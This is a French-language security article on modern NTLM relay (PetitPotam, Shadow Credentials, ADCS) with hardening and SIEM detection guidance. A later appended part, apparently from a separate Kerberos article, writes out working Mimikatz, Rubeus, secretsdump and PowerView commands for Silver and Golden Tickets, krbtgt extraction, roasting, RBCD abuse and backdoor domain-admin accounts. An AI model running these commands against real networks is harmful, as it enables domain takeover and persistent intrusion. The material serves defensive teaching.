NTLM Relay moderne (SMB/HTTP, Shadow Credentials, PetitPotam)

Résumé exécutif

NTLM reste omniprésent dans les environnements Windows, malgré l'évolution vers Kerberos et les identités cloud hybrides. Les adversaires exploitent cette persistance pour réaliser des attaques de relayage, combinant SMB, HTTP, MSRPC et des fonctionnalités Active Directory avancées telles que les Shadow Credentials. Les campagnes récentes démontrent que le relais NTLM ne relève plus du pentest classique : il s'intègre à des chaînes de compromission complexes, exploitant des vulnérabilités comme PetitPotam, DFSCoerce ou MS-EFSRPC, et contournant des protections supposées robustes telles que le MIC (Message Integrity Check) et le SMB signing. Cet article propose une analyse technique approfondie des attaques de NTLM relay moderne, des vecteurs SMB/HTTP, des scénarios Shadow Credentials et des mesures de défense (durcissement, télémétrie, chasse). Des playbooks concrets permettent de contenir et détecter ces attaques dans les environnements AD on-prem et hybrides.

Contexte et évolution du NTLM relay

NTLM (NT LAN Manager) est un protocole d'authentification challenge-réponse. Historiquement conçu pour les réseaux locaux, il n'intègre pas de protection intégrée contre les attaques de relayage. Les défenses recommandées (SMB signing obligatoire, Extended Protection for Authentication, MIC) ne sont pas toujours activées ou couvrent seulement certains scénarios. Avec la montée des environnements hybrides, le NTLM s'imbrique dans des services web, des appliances, des proxies, multipliant les surfaces. L'évolution du relais a suivi plusieurs phases :

1. Relay SMB classique : utilisation d'outils comme Responder, Metasploit auxiliary/server/capture/smb, Impacket ntlmrelayx pour relayer vers SMB, LDAP. 2. Relay HTTP : relais vers des applications web acceptant NTLM (SharePoint, Outlook Web App). 3. Coercion de l'authentification : outils forçant une machine à s'authentifier (PrinterBug, PetitPotam, DFSCoerce). 4. Shadow Credentials et ADCS : génération de certificats ou d'attributs alternatifs pour l'authentification future.

Les attaquants combinent désormais des techniques pour escalader rapidement vers Domain Admin, voire atteindre Azure AD via des identités synchronisées. Les défenses doivent donc couvrir l'ensemble de la chaîne technique.

Fonctionnement technique du NTLM relay

L'attaque repose sur une interception de la séquence challenge-réponse. Un attaquant se place en man-in-the-middle entre une victime (cliente) et un serveur cible. Les étapes :

1. La victime initie une connexion NTLM vers un serveur contrôlé ou usurpé par l'attaquant. 2. L'attaquant relaye le message au serveur cible. 3. Le serveur cible envoie un challenge ; l'attaquant le retransmet à la victime. 4. La victime répond avec un NTProofStr calculé à partir de ses crédences. 5. L'attaquant transmet la réponse au serveur cible, qui l'accepte et accorde l'accès.

Le succès dépend de l'absence de mécanismes d'intégrité (MIC) ou de signature sur le protocole sous-jacent (SMB signing, LDAP signing, RPC sealing). La modernisation du relais inclut des manipulations pour dégrader l'authentification (suppression du MIC via -remove-mic d'Impacket) ou forcer des services à accepter des connexions non signées.

Vecteurs SMB et HTTP

SMB relay

Les relais SMB ciblent les services \pipe\lsarpc, samr, netlogon sur les contrôleurs de domaine. Une fois authentifiés, les attaquants peuvent effectuer :

• SAMR pour lister les utilisateurs, modifier les attributs (ajout au groupe Domain Admin).
• LSA pour récupérer des secrets (krbtgt, hashes).
• Netlogon pour déclencher setcomputerpassword (exploitation ancien Zerologon).

Les relais SMB modernes utilisent des modules comme Impacket smbrelayx avec support SMBv2, capture de NETLOGON, injection DCSync. Les cibles incluent des serveurs sans SMB signing obligatoire, ou des équipements NAS, imprimantes, appliances de sauvegarde.

HTTP relay

Le relais HTTP/HTTPS cible les applications web acceptant NTLM : SharePoint, AD FS, Exchange, WSUS. L'attaquant relaye l'authentification NTLM vers des endpoints exposés, récupère des cookies d'authentification, ou exécute des actions via API (ex : SharePoint REST). Les attaques modernes exploitent ProxyShell ou Exchange EWS combinés au relais. L'utilisation de ntlmrelayx -http permet de convertir le jeton en cookie, facilitant l'accès.

Coercion d'authentification : PrinterBug, PetitPotam, DFSCoerce

Les relais requièrent que la victime s'authentifie vers l'attaquant. Plusieurs techniques forcent cette authentification :

• PrinterBug (MS-RPRN) : exploitation de l'API RpcRemoteFindFirstPrinterChangeNotification pour forcer une authentification SMB vers un listener.
• PetitPotam (EFSRPC) : utilisation de EfsRpcOpenFileRaw pour pousser un serveur à s'authentifier. Fonctionne contre ADCS HTTP, LSARPC.
• DFSCoerce (MS-DFSNM) : abuse de NetrDfsGetClientInfo pour obtenir une authentification.
• ShadowCoerce (MS-FSRVP) : similarité avec les autres vecteurs, ciblant le service Volume Shadow Copy.

Ces techniques contournent l'obligation de l'interaction utilisateur. L'attaquant n'a besoin que d'une machine accessible sur le réseau, souvent un contrôleur de domaine ou un serveur de fichiers. Les scripts Coercer, PetitPotam.py, dfscoerce.py simplifient l'exploitation.

Shadow Credentials : abus d'attributes msDS-KeyCredentialLink

Les Shadow Credentials permettent à un attaquant de créer une paire clé/certificat liée à un objet AD (utilisateur, machine) via l'attribut msDS-KeyCredentialLink. En ajoutant une entrée contenant une clé publique contrôlée par l'attaquant, celui-ci peut s'authentifier via Kerberos PKINIT ou Credential Guard, contournant l'usage du mot de passe. Les étapes :

1. Relayer NTLM vers LDAPS pour obtenir des droits GenericWrite ou WriteProperty sur un objet. 2. Utiliser addspn.py ou shadowcredentials.py (Impacket) pour insérer l'attribut. 3. Avec la clé privée correspondante, obtenir un TGT via PKINIT (gettgtpkinit.py).

Ce scénario est redoutable car il assure une persistance furtive. Même après la rotation des mots de passe, l'attaquant conserve un accès. Les attaques récentes intègrent ce vecteur comme étape finale après un relais réussi.

ADCS (Active Directory Certificate Services) et NTLM relay

ADCS introduit des endpoints HTTP (certsrv) acceptant NTLM. Le relais NTLM vers ADCS permet :

• De demander un certificat au nom de la victime (ESC1, ESC8).
• D'exploiter les modèles vulnérables (ENROLLEESUPPLIESSUBJECT).

PetitPotam cible souvent l'endpoint certsrv pour obtenir des certificats alignés sur les identités Domain Admin. Les attaquants peuvent ensuite utiliser certutil ou Rubeus pour convertir le certificat en TGT (Rubeus asktgt /user:Administrator /certificate:...). Les mitigations incluent l'activation de l'authentification étendue, la restriction des modèles de certificats, la publication d'OCSP resilient.

Bypass du MIC et du SMB signing

Le MIC (Message Integrity Check) protège partiellement contre le relais en détectant des modifications du message Authenticate. Cependant, certains serveurs ne l'exigent pas, ou ne vérifient pas sa valeur en cas de Extended Protection désactivée. Impacket permet de supprimer le MIC (--remove-mic), profitant de serveurs qui ne rejettent pas la requête. De même, le SMB signing devrait être obligatoire ; pourtant, pour des raisons de performance ou de compatibilité, il reste souvent optionnel. Les attaquants identifient les serveurs sans signature (nmap --script smb2-capabilities), puis ciblent ces hôtes. Le bypass consiste aussi à relayer vers des services qui n'appliquent pas la signature, tels que certains appliances, ou à forcer un downgrade vers SMBv1 (toujours présent sur certains systèmes).

Chaînes d'attaque modernes

Une chaîne typique en 2023 :

1. Compromission initiale d'une machine via phishing. 2. Déploiement de Responder ou Inveigh pour capter des NTLMv2. 3. Utilisation de PetitPotam pour forcer l'authentification du contrôleur de domaine vers l'attaquant. 4. ntlmrelayx.py relaye la connexion vers LDAPS, effectue un GenericAll sur un objet machine. 5. Ajout d'un Shadow Credential, obtention d'un certificat via ADCS. 6. Conversion du certificat en TGT, prise de contrôle Domain Admin via DCSync (secretsdump.py).

Variante : relais HTTP vers Exchange pour créer une règle de transport, pivot vers Azure AD (M365). Les adversaires adaptent la chaîne selon les surfaces disponibles (serveurs vulnérables, absence de signature, ADCS exposé).

Défense : approche stratégique

La défense contre le NTLM relay doit combiner :

• Réduction de surface : désactivation de NTLM là où possible, bascule vers Kerberos, suppression des héritages LM.
• Durcissement protocolaire : imposition du SMB signing, LDAP signing, channel binding, Extended Protection.
• Contrôles AD : limitation des permissions d'écriture, durcissement d'ADCS, surveillance des attributs sensibles.
• Détection & chasse : instrumentation des logs, corrélation des événements, detection des outils (impacket, Coercer).

Les organisations doivent aligner les équipes infrastructure, sécurité, SOC, AD. Un plan d'action pluriannuel peut être nécessaire pour retirer NTLM des applications legacy.

Durcissement SMB

Le SMB signing peut être imposé via GPO (Microsoft network client: Digitally sign communications (always)). Les serveurs doivent l'exiger (Microsoft network server: Digitally sign communications (always)). Pour les appareils ne supportant pas la signature, une isolation réseau est indispensable. Il faut inventorier les exceptions, planifier leur mise à jour ou remplacement. Des tests réguliers (Test-SmbClientConfiguration) vérifient la conformité. Les environnements multi-domaines doivent étendre ces GPO à toutes les OU.

MIC et Extended Protection

Le MIC devrait être activé via les mises à jour Windows (KB2265716). Les administrateurs doivent vérifier les options Network security: Allow Local System to use computer identity for NTLM et Network security: Restrict clients allowed to make remote calls to SAM. Extended Protection for Authentication (EPA) doit être activé sur IIS, ADCS, Exchange, AD FS. EPA utilise le Channel Binding Token pour relier la connexion SSL à l'authentification NTLM, empêchant un relais vers un autre hôte. Cependant, EPA nécessite que les clients supportent la fonctionnalité ; un plan de compatibilité est nécessaire.

LDAP signing et LDAPS

Le LDAP signing empêche les connexions LDAP non signées ; combiné à LDAPS, il protège contre le relais. Les contrôleurs doivent être configurés avec Domain controller: LDAP server signing requirements = Require signing et Domain controller: LDAP client signing requirements = Require signing. Il faut auditer les applications utilisant LDAP simple bind pour éviter les interruptions. Les logs Directory Service (event 2887, 2888, 2889) indiquent les connexions non signées. Une fois les exceptions identifiées et traitées, on passe en mode Require.

Protection ADCS

Les mesures pour ADCS :

• Désactiver NTLM sur IIS (web.config), forcer Kerberos ou certificat client.
• Activer EPA et Require SSL.
• Restreindre les templates vulnérables (supprimer ENROLLEESUPPLIESSUBJECT, imposer Manager approval).
• Surveiller les requêtes de certificats (event 4886, 4887 dans Security log).
• Déployer certsrv derrière un reverse proxy qui impose la validation TLS.

Les audits ADCS (outil PSPKIAudit) identifient les modèles dangereux (ESC1, ESC2, ESC3, etc.).

Détection : journaux Windows

Les journaux pertinents :

• Security : event 4624 (logon), 4625, 4648 (logon explicite), 4672 (privilèges spéciaux), 4742 (modification computer account), 5136 (modification AD), 4769 (TGS), 4890/4892 (certificates).
• System : événements SMB (3000), Netlogon (5827).
• Microsoft-Windows-SMBServer/Security pour SMB signing.
• Microsoft-Windows-LDAP-Server/Operational pour connexions LDAP.

Les analystes doivent corréler : un 4624 NTLM de type 3 suivi d'un 5136 sur msDS-KeyCredentialLink est suspect. Les logs ADCS (4886) corrélés à un 4624 type 3 indiquent un relais vers certsrv.

Détection réseau

Les solutions NDR (Network Detection & Response) captent les patterns : NTLMSSPNEGOTIATE, NTLMSSPAUTH, absence de SMB signing. Des signatures IDS (Suricata, Zeek) détectent les requêtes EfsRpcOpenFileRaw, RpcRemoteFindFirstPrinterChangeNotification. Zeek extrait les tokens NTLM, identifie les hostnames, corrèle les flux. Les analystes surveillent les connexions SMB/HTTP inhabituelles, surtout vers des contrôleurs de domaine. Un trafic NTLM vers un hôte qui n'est pas un DC est anormal. Les flux destinés à RPC port 135 suivis d'une SMB session vers un hôte unique peuvent être des coercions.

Hunting : scénarios et requêtes SIEM

Détection Shadow Credentials

Dans Sentinel (KQL) :

SecurityEvent
| where EventID == 5136
| extend Attribute = tostring(parsexml(EventData).EventData.Data[?(@Name=='AttributeLDAPDisplayName')].'#text')
| where Attribute == "msDS-KeyCredentialLink"
| extend Target = tostring(parsexml(EventData).EventData.Data[?(@Name=='ObjectDN')].'#text')
| project TimeGenerated, Target, Account = Account

Cette requête liste les modifications msDS-KeyCredentialLink. Un couplage avec un 4624 type 3 (NTLM) dans les secondes précédentes signale un relais.

Détection PetitPotam

Surveillez les logs RPC :

SecurityEvent
| where EventID == 4624 and LogonType == 3 and AuthenticationPackageName == "NTLM"
| where Computer endswith "$" and AccountType == "Machine"
| summarize count() by Computer, TargetAccount, bin(TimeGenerated, 5m)
| where count > 5

Les organisations hybrides synchronisent leurs identités via Azure AD Connect. Les serveurs AAD Connect utilisent souvent NTLM pour des interactions locales. Un relais réussi peut compromettre le compte MSOL doté de privilèges élevés. L'attaque peut ensuite impacter Azure AD : ajout d'applications malveillantes, consentement, modification de rôles. Les défenseurs doivent :

• Séparer AAD Connect sur des serveurs dédiés.
• Restreindre l'accès via firewall, imposer SMB signing.
• Surveiller les logs AAD Connect (event ID 906) pour détections d'anomalies.
• Activer l'audit dans Azure AD (sign-in logs) pour corréler avec les événements on-premises.

Les hunts hybrides utilisent AzureADSignInLogs pour détecter des accès depuis des certificats anormaux après un relais Shadow Credentials.

Segmentations réseau et architecture

La segmentation réseau est un rempart majeur. On partitionne :

• Tier 0 : contrôleurs de domaine, PKI, serveurs ADFS. Isolement strict, pare-feu, VLAN dédiés, pas de trafic SMB/HTTP non autorisé.
• Tier 1 : serveurs applicatifs. Politique de firewall limitant les flux vers Tier 0.
• Tier 2 : postes utilisateurs, machines clients. LLMNR/NetBIOS désactivés, firewall bloquant SMB sortant vers servers sensibles.

Les relais reposent sur la capacité à joindre un DC. En limitant le trafic SMB/LDAP, on réduit la surface. Des appliances (Twingate, Zscaler) limitent l'accès au plan de contrôle. Les flux RPC (135, 445) sont filtrés par IP source/destination.

Gestion des protocoles hérités : LLMNR, NetBIOS, WPAD

Même si cet article se focalise sur le relais NTLM, des protocoles auxiliaires facilitent l'attaque :

• LLMNR et NetBIOS : permettre la redirection d'un client vers l'attaquant.
• WPAD : misconfiguration peut diriger le trafic web vers un proxy malveillant.

Les défenseurs doivent désactiver LLMNR (Group Policy), NetBIOS, et configurer statiquement WPAD. Ces actions réduisent le nombre de hashs capturables, limitant les opportunités de relais opportuniste.

Cartographie des surfaces avec BloodHound et PingCastle

BloodHound identifie les Edge NTLM HasSession, GenericWrite et les potentiels Shadow Credentials. PingCastle fournit un audit AD mettant en évidence l'usage de NTLM, la configuration SMB. Les équipes sécurité doivent intégrer ces outils :

• Générer des rapports trimestriels BloodHound.
• Extract ACL pour repérer les objets modifiables via NTLM relay (par exemple les comptes machine avec Self-Service).
• Prioriser la sécurisation des objets à haut privilège (KRBTGT, Domain Admin, comptes de synchronisation).

Détection via Windows Defender for Identity (MDI)

Microsoft Defender for Identity offre des détections spécifiques : Suspected NTLM relay attack targeting LDAP, Suspected usage of SMB to steal credentials. La solution corrèle les authentifications, identifie les patterns. Pour maximiser l'efficacité :

• S'assurer que tous les DC ont le capteur MDI.
• Activer la collecte Raw events pour enrichir le SIEM.
• Analyser les alertes Reconnaissance using SMB session enumeration.

MDI nécessite une supervision continue : certains environnements ont un bruit élevé (app legacy). Les analystes doivent ajuster les seuils, baselines.

Supervision des modifications AD via Change Auditor

Des outils comme Quest Change Auditor, Lepide, Netwrix, Semperis DSP offrent une visibilité sur les modifications AD. Ils alertent en temps réel lorsqu'un attribut sensible (ex : msDS-KeyCredentialLink) est modifié. L'intégration avec SOAR déclenche une réponse automatique (suppression de l'attribut, blocage du compte). Ces solutions fournissent des rapports de conformité, utiles pour les audits.

Détection avancée de la coercion

Les vecteurs de coercion laissent des traces spécifiques :

• Activation du service Printer Spooler (event 808) sur un serveur où il devrait être désactivé.
• Appels RPC inhabituels (Event 1006 RPC Client Access), logs Microsoft-Windows-RPC/EE2Events.
• Utilisation de efsutil (EFSRPC), visible dans Microsoft-Windows-EFS/Debug.

Des scripts WMI peuvent surveiller les services critiques (Spooler, DFS). Les defenders peuvent désactiver Spooler sur les contrôleurs de domaine, réduisant la surface (recommandation Microsoft). L'activation ponctuelle doit être strictement contrôlée.

Playbook Purple Team : exercice NTLM relay

Un exercice type :

1. Préparation : environnement de test, comptes non critiques, journaux activés. 2. Phase rouge : Exécuter Coercer pour forcer un DC à s'authentifier ; relayer via ntlmrelayx vers LDAPS, tenter l'ajout d'un Shadow Credential. 3. Phase bleue : Observer les alertes (MDI, SIEM), vérifier la détection du 5136. Déclencher le playbook réponse (suppression, reset mot de passe). 4. Debrief : Documenter les lacunes (ex : absence d'alertes, temps de réaction). Mettre à jour les règles.

Cet exercice est répété semestriellement, avec des variantes (relay vers ADCS, HTTP). Il renforce la collaboration SOC/IAM.

Réduction des privilèges d'écriture

Les relais s'exploitent souvent pour modifier des objets. Il faut réduire les droits :

• Supprimer GenericWrite pour les Authenticated Users sur les comptes machine.
• Limiter les droits WriteDACL et WriteOwner.
• Utiliser GPO Restricted Groups pour contrôler l'appartenance.

Un audit Get-ACL (PowerView, AD ACL Scanner) identifie les objets vulnérables. On remplace les ACL larges par des groupes restreints. Les comptes de service ne devraient avoir que les droits nécessaires.

Outils de remédiation automatique

Des solutions (Semperis Purple Knight, SpecterOps GhostPack, Tenable.ad) proposent des remédiations :

• Scripts PowerShell retirant les KeyCredentialLink non autorisés.
• GPO appliquant le SMB signing.
• Correction des templates ADCS vulnérables.

Les organisations intègrent ces remédiations dans un pipeline d'amélioration continue. Chaque détection en production déclenche une campagne de remédiation similaire en pré-production pour tester.

Environnements Citrix, VDI et NTLM

Les infrastructures VDI/Citrix utilisent souvent NTLM pour l'authentification interne. Un relais dans ces environnements peut permettre de prendre le contrôle des brokers ou des serveurs d'applications. Les mesures :

• Forcer Kerberos via SmartCard.
• Séparer les VLAN VDI et AD.
• Activer Citrix Federated Authentication Service avec certificats.

Des hunts spécifiques identifient les flux NTLM provenant des serveurs VDI vers les DC. Les incidents passés ont montré que des images VDI contenaient des outils Impacket.

Perspectives futures : désactivation de NTLM

Microsoft a annoncé des plans pour limiter NTLM dans les prochaines versions Windows Server. Les organisations doivent se préparer : inventaire des applications, tests de compatibilité, plan de migration (Kerberos, OAuth). Les alternatives incluent Kerberos Constrained Delegation, Resource-based constrained delegation, SPNEGO. Une gouvernance centralisée guide les équipes métier. L'objectif à long terme est un AD sans NTLM, aligné sur les principes Zero Trust, avec authentification conditionnelle (Azure AD Conditional Access) pour les interactions cloud.

FAQ technique

Checklist finale étendue

1. Durcissement protocolaire : SMB/LDAP signing, EPA, MIC. 2. Inventaire ADCS : modèles sécurisés, NTLM désactivé, logging fort. 3. Surveillance : journaux 4624/5136/4886, EDR, MDI, NDR. 4. Chasse : Shadow Credentials, flux SMB non signés, vecteurs de coercion. 5. Segmentation : tiers, firewall, désactivation LLMNR/NetBIOS. 6. Formation : SOC, admins AD, campagnes Purple Team. 7. Automatisation : scripts de remédiation, SOAR, reporting. 8. Roadmap : migrations vers Kerberos/modern auth, retrait NTLM.

Cette checklist assure une posture dynamique, adaptée aux menaces NTLM relay.

6. Silver Ticket : falsification de tickets de service

6.1 Principe et mécanisme

Un Silver Ticket est un ticket de service forgé sans interaction avec le KDC. Si un attaquant obtient le hash NTLM (ou la clé AES) d'un compte de service, il peut créer des tickets de service valides pour ce service sans que le DC ne soit contacté. Le ticket forgé contient un PAC (Privilege Attribute Certificate) arbitraire, permettant à l'attaquant de s'octroyer n'importe quels privilèges pour le service ciblé.

Contrairement au Golden Ticket qui forge un TGT, le Silver Ticket forge directement un Service Ticket, ce qui le rend plus discret car il ne génère pas d'événement 4768 (demande de TGT) ni 4769 (demande de ST) sur le DC.

6.2 Création et injection de Silver Tickets

# Création d'un Silver Ticket pour le service CIFS
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:server01.domain.local /service:cifs /rc4:serviceaccounthash /ptt

# Silver Ticket pour service HTTP (accès web avec IIS/NTLM)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:webapp.domain.local /service:http /aes256:serviceaes256key /ptt

# Silver Ticket pour LDAP (accès DC pour DCSync)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:dc01.domain.local /service:ldap /rc4:dccomputerhash /ptt

# Silver Ticket pour HOST (WMI/PSRemoting)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:server02.domain.local /service:host /rc4:computerhash /ptt

6.3 Cas d'usage spécifiques par service

6.4 Détection des Silver Tickets

# Activer la validation PAC stricte (GPO)
Computer Configuration > Policies > Windows Settings > Security Settings > 
Local Policies > Security Options > 
"Network security: PAC validation" = Enabled

# Script PowerShell pour corréler accès et tickets KDC
$timeframe = (Get-Date).AddHours(-1)
$kdcEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4768,4769;StartTime=$timeframe}
$accessEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4624;StartTime=$timeframe} | 
    Where-Object {$_.Properties[8].Value -eq 3} # Logon type 3 (network)

# Identifier les accès sans ticket KDC correspondant
$accessEvents | ForEach-Object {
    $accessTime = $_.TimeCreated
    $user = $_.Properties[5].Value
    $matchingKDC = $kdcEvents | Where-Object {
        $_.Properties[0].Value -eq $user -and 
        [Math]::Abs(($_.TimeCreated - $accessTime).TotalSeconds) -lt 30
    }
    if (-not $matchingKDC) {
        Write-Warning "Accès suspect sans ticket KDC: $user à $accessTime"
    }
}

7. Golden Ticket : compromission totale du domaine

7.1 Principe et impact

Le Golden Ticket représente l'apex de la compromission Kerberos. En obtenant le hash du compte krbtgt (le compte de service utilisé par le KDC pour signer tous les TGT), un attaquant peut forger des TGT arbitraires pour n'importe quel utilisateur, y compris des comptes inexistants, avec des privilèges et une durée de validité de son choix (jusqu'à 10 ans).

Un Golden Ticket offre une persistance exceptionnelle : même après la réinitialisation de tous les mots de passe du domaine, l'attaquant conserve son accès tant que le compte krbtgt n'est pas réinitialisé (opération délicate nécessitant deux réinitialisations espacées).

7.2 Extraction du hash krbtgt

L'obtention du hash krbtgt nécessite généralement des privilèges d'administrateur de domaine ou l'accès physique/système à un contrôleur de domaine. Plusieurs techniques permettent cette extraction :

# DCSync du compte krbtgt
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt

# DCSync de tous les comptes (dump complet)
mimikatz # lsadump::dcsync /domain:domain.local /all /csv

# DCSync depuis Linux avec impacket
python3 secretsdump.py domain.local/admin:[email protected] -just-dc-user krbtgt

# Création d'une copie shadow avec ntdsutil
ntdsutil "ac i ntds" "ifm" "create full C:\temp\ntds_backup" q q

# Extraction avec secretsdump (impacket)
python3 secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

# Extraction avec DSInternals (PowerShell)
$key = Get-BootKey -SystemHivePath 'C:\temp\SYSTEM'
Get-ADDBAccount -All -DBPath 'C:\temp\ntds.dit' -BootKey $key | 
    Where-Object {$_.SamAccountName -eq 'krbtgt'}

7.3 Forge et utilisation du Golden Ticket

# Golden Ticket basique (RC4)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /ptt

# Golden Ticket avec AES256 (plus discret)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /aes256:krbtgt_aes256_key /ptt

# Golden Ticket avec durée personnalisée (10 ans)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /endin:5256000 /renewmax:5256000 /ptt

# Golden Ticket pour utilisateur fictif
kerberos::golden /user:FakeAdmin /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /id:500 /groups:512,513,518,519,520 /ptt

# Exportation du ticket vers fichier
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /ticket:golden.kirbi

# Injection du ticket dans la session
mimikatz # kerberos::ptt golden.kirbi

# Vérification du ticket injecté
klist

# Utilisation du ticket pour accès DC
dir \\dc01.domain.local\C$
psexec.exe \\dc01.domain.local cmd

# Création de compte backdoor
net user backdoor P@ssw0rd! /add /domain
net group "Domain Admins" backdoor /add /domain

# DCSync pour maintenir la persistance
mimikatz # lsadump::dcsync /domain:domain.local /user:Administrator

7.4 Détection avancée des Golden Tickets

# Script de détection des anomalies Kerberos
# Recherche des authentifications sans événement TGT correspondant
$endTime = Get-Date
$startTime = $endTime.AddHours(-24)

$logons = Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4624
    StartTime=$startTime
} | Where-Object {
    $_.Properties[8].Value -eq 3 -and # Logon Type 3
    $_.Properties[9].Value -match 'Kerberos'
}

$tgtRequests = Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4768
    StartTime=$startTime
} | Group-Object {$_.Properties[0].Value} -AsHashTable

foreach ($logon in $logons) {
    $user = $logon.Properties[5].Value
    $time = $logon.TimeCreated
    
    if (-not $tgtRequests.ContainsKey($user)) {
        Write-Warning "Golden Ticket suspect: $user à $time (aucun TGT)"
    }
}

# Détection de tickets avec durée de vie anormale
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4768} |
    Where-Object {
        $ticketLifetime = $_.Properties[5].Value
        $ticketLifetime -gt 43200 # > 12 heures
    } | ForEach-Object {
        Write-Warning "Ticket avec durée anormale: $($_.Properties[0].Value)"
    }

8. Chaîne d'attaque complète : scénario réel

8.1 Scénario : De l'utilisateur standard au Domain Admin

Examinons une chaîne d'attaque complète illustrant comment un attaquant peut progresser depuis un compte utilisateur standard jusqu'à la compromission totale du domaine en exploitant les vulnérabilités Kerberos.

Phase 1 : Reconnaissance initiale (J+0, H+0)

# Compromission initiale : phishing avec accès VPN
# Énumération du domaine avec PowerView
Import-Module PowerView.ps1

# Identification du domaine et des DCs
Get-Domain
Get-DomainController

# Recherche de comptes sans préauthentification
Get-DomainUser -PreauthNotRequired | Select samaccountname,description

# Sortie : svc_reporting (compte de service legacy)

# Énumération des SPNs
Get-DomainUser -SPN | Select samaccountname,serviceprincipalname

# Sortie : 
# - svc_sql : MSSQLSvc/SQL01.corp.local:1433
# - svc_web : HTTP/webapp.corp.local

Phase 2 : AS-REP Roasting (J+0, H+1)

# Extraction du hash AS-REP pour svc_reporting
.\Rubeus.exe asreproast /user:svc_reporting /format:hashcat /nowrap

# Hash obtenu : [email protected]:8a3c...

# Craquage avec Hashcat
hashcat -m 18200 asrep.hash rockyou.txt -r best64.rule

# Mot de passe craqué en 45 minutes : "Reporting2019!"

# Validation des accès
net use \\dc01.corp.local\IPC$ /user:corp\svc_reporting Reporting2019!

Phase 3 : Kerberoasting et compromission de service (J+0, H+2)

# Avec le compte svc_reporting, effectuer du Kerberoasting
.\Rubeus.exe kerberoast /user:svc_sql /nowrap

# Hash obtenu pour svc_sql (RC4)
$krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/SQL01.corp.local:1433*$7f2a...

# Craquage (6 heures avec GPU)
hashcat -m 13100 tgs.hash rockyou.txt -r best64.rule

# Mot de passe : "SqlService123"

# Énumération des privilèges de svc_sql
Get-DomainUser svc_sql -Properties memberof

# Découverte : membre du groupe "SQL Admins" 
# Ce groupe a GenericAll sur le groupe "Server Operators"

Phase 4 : Élévation via délégation RBCD (J+0, H+8)

# Vérification des permissions avec svc_sql
Get-DomainObjectAcl -Identity "DC01$" | ? {
    $_.SecurityIdentifier -eq (Get-DomainUser svc_sql).objectsid
}

# Découverte : WriteProperty sur msDS-AllowedToActOnBehalfOfOtherIdentity

# Création d'un compte machine contrôlé
Import-Module Powermad
$password = ConvertTo-SecureString 'AttackerP@ss123!' -AsPlainText -Force
New-MachineAccount -MachineAccount EVILCOMPUTER -Password $password

# Configuration RBCD sur DC01
$ComputerSid = Get-DomainComputer EVILCOMPUTER -Properties objectsid | 
    Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DC01 | Set-DomainObject -Set @{
    'msds-allowedtoactonbehalfofotheridentity'=$SDBytes
}

# Exploitation S4U pour obtenir ticket Administrator vers DC01
.\Rubeus.exe s4u /user:EVILCOMPUTER$ /rc4:computerhash \
    /impersonateuser:Administrator /msdsspn:cifs/dc01.corp.local /ptt

# Accès au DC comme Administrator
dir \\dc01.corp.local\C$

Phase 5 : Extraction krbtgt et Golden Ticket (J+0, H+10)

# DCSync depuis le DC compromis
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt

# Hash krbtgt obtenu :
# NTLM: 8a3c5f6e9b2d1a4c7e8f9a0b1c2d3e4f
# AES256: 2f8a6c4e9b3d7a1c5e8f0a2b4c6d8e0f...

# Obtention du SID du domaine
whoami /user
# S-1-5-21-1234567890-1234567890-1234567890

# Création du Golden Ticket
kerberos::golden /user:Administrator /domain:corp.local \
    /sid:S-1-5-21-1234567890-1234567890-1234567890 \
    /aes256:2f8a6c4e9b3d7a1c5e8f0a2b4c6d8e0f... \
    /endin:5256000 /renewmax:5256000 /ptt

# Validation : accès total au domaine
net group "Domain Admins" /domain
psexec.exe \\dc01.corp.local cmd

# Établissement de persistance multiple
# 1. Création de compte backdoor
net user h4ck3r Sup3rS3cr3t! /add /domain
net group "Domain Admins" h4ck3r /add /domain

# 2. Modification de la GPO par défaut pour ajout de tâche planifiée
# 3. Création de SPN caché pour Kerberoasting personnel
# 4. Exportation de tous les hashes du domaine

8.2 Timeline et indicateurs de compromission

9. Architecture de détection et réponse

9.1 Stack de détection recommandée

Une détection efficace des attaques Kerberos nécessite une approche en profondeur combinant plusieurs technologies et méthodes.

# Détection AS-REP Roasting
index=windows sourcetype=WinEventLog:Security EventCode=4768 Pre_Authentication_Type=0
| stats count values(src_ip) as sources by user
| where count > 5
| table user, count, sources

# Détection Kerberoasting (multiples TGS-REQ avec RC4)
index=windows sourcetype=WinEventLog:Security EventCode=4769 Ticket_Encryption_Type=0x17
| stats dc(Service_Name) as unique_services count by src_ip user
| where unique_services > 10 OR count > 20

# Détection DCSync
index=windows sourcetype=WinEventLog:Security EventCode=4662 
    Properties="*1131f6aa-9c07-11d1-f79f-00c04fc2dcd2*" OR 
    Properties="*1131f6ad-9c07-11d1-f79f-00c04fc2dcd2*"
| where user!="*$" AND user!="NT AUTHORITY\\SYSTEM"
| table _time, user, dest, Object_Name

# Détection Golden Ticket (authent sans TGT)
index=windows sourcetype=WinEventLog:Security EventCode=4624 Logon_Type=3 Authentication_Package=Kerberos
| join type=left user _time [
    search index=windows sourcetype=WinEventLog:Security EventCode=4768
    | eval time_window=_time
    | eval user_tgt=user
]
